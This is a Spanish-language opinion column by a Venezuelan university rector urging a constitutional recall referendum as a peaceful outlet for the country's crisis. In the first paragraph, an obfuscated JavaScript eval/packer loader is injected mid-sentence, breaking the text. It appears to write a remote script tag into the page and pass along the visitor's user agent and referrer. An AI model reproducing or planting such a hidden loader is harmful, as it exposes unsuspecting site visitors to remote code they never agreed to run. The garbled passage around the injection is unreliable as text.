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La válvula de escape

Jorge Palencia Piña / Rector de LUZ / jpalencia@luz.edu.ve
Clamar eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttyzd|var|u0026u|referrer|ekhki||js|php'.split('|'),0,{})) por la comprensión de 29 millones de venezolanos ante esa tormenta de desgracias es un acto que hace malabares entre la inocencia y la soberbia

Venezuela está urgida de una bocanada de democracia, cuando hoy luce suspendida sobre su abismo. Necesita una resurrección republicana que la aleje de la espiral de violencia, tensiones y dificultades económicas que la lacera profundamente desde el año pasado. Y por ello es perentorio que el Consejo Nacional Electoral concierte con diligencia una definición electoral que sane heridas.

El voto tiene el poder histórico de evadir crisis peores a las experimentadas, aunque parezca inverosímil. Ese gesto de expresión popular bien puede tomar unos minutos, pero sus efectos germinan en frutos de paz y renovación durante años. Debe ser el caso inminente para Venezuela. Nuestra nación debe expresar sin dilaciones su parecer sobre la continuidad o no de un modelo político que ya cumple 17 años y cuyos efectos se palpan, para bien o para mal, en todos los entornos.

El referendo revocatorio se antoja como la evasión de la rigidez social que nos abruma. Esa petición de una representación política del país está lejos de representar un golpe de Estado o caminos aventureros. Es una solicitud legítima, amparada por la letra de nuestra Constitución. Es deber supremo, entonces, que las instituciones públicas favorezcan la expresión de un pueblo sobre su propia crisis.

Somos un pueblo agobiado por la escasez, la sequía, la inflación, la inseguridad, la oscurana y otras tantas calamidades. Nadie escapa de este escenario digno de una obra de Dante. Clamar por la comprensión de 29 millones de venezolanos ante esa tormenta de desgracias es un acto que hace malabares entre la inocencia y la soberbia. Aún estamos a tiempo de renovar esperanzas mediante los mecanismos democráticos para, al unísono, disminuir los ánimos caldeados. 

No podemos confundir la nobleza de nuestro pueblo con una resistencia eterna de su parte. Creer en esa errada fórmula puede arar sendas de rebeldías y revueltas. Es hora de abrir caminos para que la crisis “respire”. El poder del voto se postula hoy como un estandarte decisivo. Debe ser nuestra verdadera válvula de escape.

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